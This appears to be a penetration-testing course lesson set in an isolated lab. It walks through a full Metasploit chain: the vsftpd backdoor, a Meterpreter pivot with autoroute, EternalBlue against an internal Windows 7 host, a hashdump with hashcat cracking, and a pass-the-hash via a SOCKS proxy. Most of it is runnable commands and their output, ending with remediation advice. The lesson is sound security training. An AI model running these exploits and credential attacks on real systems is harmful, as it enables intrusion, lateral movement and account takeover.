Metasploit — Guided walkthrough

Three chained scenarios. First we drop vsftpd on 10.10.10.20, then we pivot into an internal network 192.168.100.0/24, and finally we compromise a machine that wasn't even visible from Kali. This is the demo we want to see you reproduce in an interview.

Isolated lab

The pivot assumes a Metasploitable 2 VM with two network interfaces: one on the 10.10.10.0/24 side and one on the 192.168.100.0/24 side. We'll set that up in step 0. Neither of these networks must be able to reach the Internet.

What you will be able to do after this lesson

• Compromise 10.10.10.20 with a Metasploit exploit without launching an exploit by hand.
• Run a pivot via autoroute + socks_proxy.
• Scan and exploit a machine invisible from your Kali.
• Dump the NTLM hashes of an internal Windows target.
• Automate it all with a reproducible .rc.

---

Step 0 — Prepare the lab

On 10.10.10.20 (Metasploitable 2), add a second network interface in VirtualBox:

• Adapter 1: Host-only → hostonly1 (10.10.10.0/24). IP: 10.10.10.20.
• Adapter 2: Host-only → hostonly2 (192.168.100.0/24). IP: 192.168.100.20.

On that same hostonly2, add a third VM — a Windows 7 vulnerable to EternalBlue with IP 192.168.100.42. This VM is not visible from Kali — which is exactly what we want.

On 10.10.10.20, enable IP forwarding:

sudo sysctl -w net.ipv4.ip_forward=1

From Kali, nmap 192.168.100.42 must fail (Network unreachable). Good. Goal reached: Windows 7 is behind our first victim.

---

Step 1 — Compromise 10.10.10.20 with Metasploit

Reuse the vsftpd attack from module 5 — this time via Metasploit.

Create ~/labs/semaine-08/vsftpd.rc:

workspace metasploit-demo
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.10.10.20
set PAYLOAD cmd/unix/interact
run

Launch:

msfconsole -q -r ~/labs/semaine-08/vsftpd.rc

Output:

[+] 10.10.10.20:21 - Backdoor service has been spawned, handling...
[+] 10.10.10.20:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened

Good. We're root. But we want Meterpreter for the pivot. Let's upgrade:

sessions -u 1

Metasploit attempts a shell → meterpreter conversion via linux/x64/meterpreter/reverse_tcp (a new listening job) and a Python/perl load on the target side. After a few seconds:

[*] Command stager progress: 100.00% (760/760 bytes)
[*] Meterpreter session 2 opened (10.10.10.5:4433 -> 10.10.10.20:...)

Check:

sessions

Id  Type                 Information       Connection
--  ----                 -----------       ----------
1   shell cmd/unix                         10.10.10.5:37821 -> 10.10.10.20:6200
2   meterpreter x64/linux uid=0, root      10.10.10.5:4433  -> 10.10.10.20:35182

Switch to the Meterpreter session:

sessions -i 2

meterpreter > sysinfo
Computer     : metasploitable
OS           : Linux metasploitable 2.6.24-16-server ...
Architecture : i686
Meterpreter  : x64/linux

Check the interfaces:

meterpreter > ifconfig

Two interfaces. One on 10.10.10.0/24, one on 192.168.100.0/24. That's our pivot.

---

Step 2 — Open the pivot with autoroute

In the Meterpreter session:

meterpreter > run autoroute -s 192.168.100.0/24

Output:

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[*] Adding a route to 192.168.100.0/255.255.255.0...
[+] Added route to 192.168.100.0/255.255.255.0 via 10.10.10.20

Alternative (recommended):

meterpreter > background
msf6 > use post/multi/manage/autoroute
msf6 > set SESSION 2
msf6 > set SUBNET 192.168.100.0
msf6 > run

Check:

msf6 > route print

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.100.0      255.255.255.0      Session 2

Any Metasploit request to 192.168.100.0/24 will go through session 2. The pivot is open.

---

Step 3 — Scan the internal network from msfconsole

msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 192.168.100.0/24
msf6 > set PORTS 22,80,135,139,445,3389
msf6 > set THREADS 20
msf6 > run

Output (excerpt):

[+] 192.168.100.42:      - 192.168.100.42:135 - TCP OPEN
[+] 192.168.100.42:      - 192.168.100.42:139 - TCP OPEN
[+] 192.168.100.42:      - 192.168.100.42:445 - TCP OPEN
[+] 192.168.100.42:      - 192.168.100.42:3389 - TCP OPEN

One machine found. It's our Windows 7.

Quick MS17-010 test:

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 > set RHOSTS 192.168.100.42
msf6 > run

[+] 192.168.100.42:445  - Host is likely VULNERABLE to MS17-010!

---

Step 4 — Exploit EternalBlue through the pivot

Classic trap: the standard reverse_tcp payload sends its reverse connection directly to Kali. But the target cannot reach Kali (no return route). We must use a bind payload: the target opens a port, we connect to it through the pivot.

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.100.42
msf6 > set PAYLOAD windows/x64/meterpreter/bind_tcp
msf6 > set LPORT 4455
msf6 > run

Output:

[*] Started bind TCP handler against 192.168.100.42:4455
[*] 192.168.100.42:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.100.42:445 - Host is likely VULNERABLE to MS17-010!
[*] 192.168.100.42:445 - Connecting to target for exploitation.
[+] 192.168.100.42:445 - Connection established for exploitation.
[*] 192.168.100.42:445 - Sending final SMBv1 buffers.
[*] Sending stage (200262 bytes) to 192.168.100.42
[*] Meterpreter session 3 opened

Meterpreter session 3. On a machine Kali could not see. Check:

sessions -i 3
meterpreter > sysinfo
Computer     : WIN7-VICTIM
OS           : Windows 7 (6.1 Build 7601, Service Pack 1)
Architecture : x64
Domain       : WORKGROUP
Meterpreter  : x64/windows

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

SYSTEM on Windows 7, obtained from Kali, going through a compromised Linux box. That's what we call a successful pivot.

---

Step 5 — Extract the hashes

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
alice:1001:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::

Save it:

meterpreter > hashdump > /home/kali/labs/semaine-08/preuves/win7-hashes.txt

On Kali, let's crack the administrator hash with hashcat:

hashcat -m 1000 preuves/win7-hashes.txt /usr/share/wordlists/rockyou.txt --username

After a few seconds:

8846f7eaee8fb117ad06bdd830b7586c:password

The Windows 7 administrator password is password. Total compromise.

---

Step 6 — An external shell through the pivot (SOCKS)

You want to use tools that are not in Metasploit — impacket-secretsdump, crackmapexec, your own curl. Open a SOCKS proxy:

msf6 > use auxiliary/server/socks_proxy
msf6 > set VERSION 5
msf6 > set SRVPORT 1080
msf6 > run -j

Edit /etc/proxychains4.conf:

socks5  127.0.0.1 1080

Use it:

proxychains crackmapexec smb 192.168.100.42 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c

Output:

SMB  192.168.100.42  445  WIN7-VICTIM  [*] Windows 7...
SMB  192.168.100.42  445  WIN7-VICTIM  [+] WORKGROUP\Administrator (Pwn3d!)

You are admin, with a non-Metasploit tool, on an invisible machine. This is the full pipeline of a classic intrusion.

---

Step 7 — All of it in one .rc

Reproduce everything in demo-complete.rc:

workspace metasploit-demo
route flush

# Step 1 - vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.10.10.20
set PAYLOAD cmd/unix/interact
run

# Note: at this point, session 1 is a cmd shell. The sessions -u command
# cannot be automated cleanly in a .rc — we do it by hand once,
# then script the rest with a new rc.

# Step 2 - pivot
route add 192.168.100.0/24 2

# Step 3 - EternalBlue via pivot
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.100.42
set PAYLOAD windows/x64/meterpreter/bind_tcp
set LPORT 4455
run

# Step 4 - SOCKS proxy for external tools
use auxiliary/server/socks_proxy
set SRVPORT 1080
run -j

# Confirmation
sessions
route print

You'll re-run everything with a single msfconsole -q -r demo-complete.rc after reverting the VMs to a clean snapshot.

---

Step 8 — Consolidate

Open ~/labs/semaine-08/rapport/pivot.md:

# Pivot attack — Week 8 lab

## 1. Situation
- Kali: 10.10.10.5
- Target 1 (Linux, vsftpd): 10.10.10.20
- Target 2 (Windows 7, EternalBlue): 192.168.100.42
  - Not reachable from Kali (no direct route)

## 2. Exploitation chain
1. vsftpd 2.3.4 RCE → root on 10.10.10.20
2. Shell upgrade → meterpreter
3. Autoroute 192.168.100.0/24 via session 2
4. Port scan on 192.168.100.42 from msfconsole
5. MS17-010 confirmation (VULNERABLE)
6. EternalBlue exploit with bind_tcp payload
7. SYSTEM on Windows 7
8. hashdump → hashcat cracking → admin password "password"

## 3. Evidence
- preuves/vsftpd-session.log
- preuves/pivot-autoroute.log
- preuves/scan-192-portscan.log
- preuves/eternalblue-session.log
- preuves/win7-hashes.txt
- preuves/hashcat-cracked.txt
- preuves/socks-proxychains.log

## 4. Recommendations
1. Patch the Windows Server 2008 and Windows 7 systems (end of support).
2. Segment the networks: 10.10.10.0/24 should not route to 192.168.100.0/24
   without a stateful firewall.
3. Disable SMBv1 everywhere.
4. Password policy: hashes as old as "password" should not exist.

---

Wrap-up

In 60 minutes:

• Two compromised targets (Linux + Windows 7).
• One network pivot opened and scriptable.
• One SOCKS proxy that lets you use every tool in the world through the pivot.
• One cracked hash → admin password in clear text.
• Everything scripted in a reproducible .rc.

This workflow — initial RCE → upgrade → pivot → SOCKS → propagation — is the skeleton of 80% of a pentest's internal engagements. You've just seen it. You're going to redo it in the lab.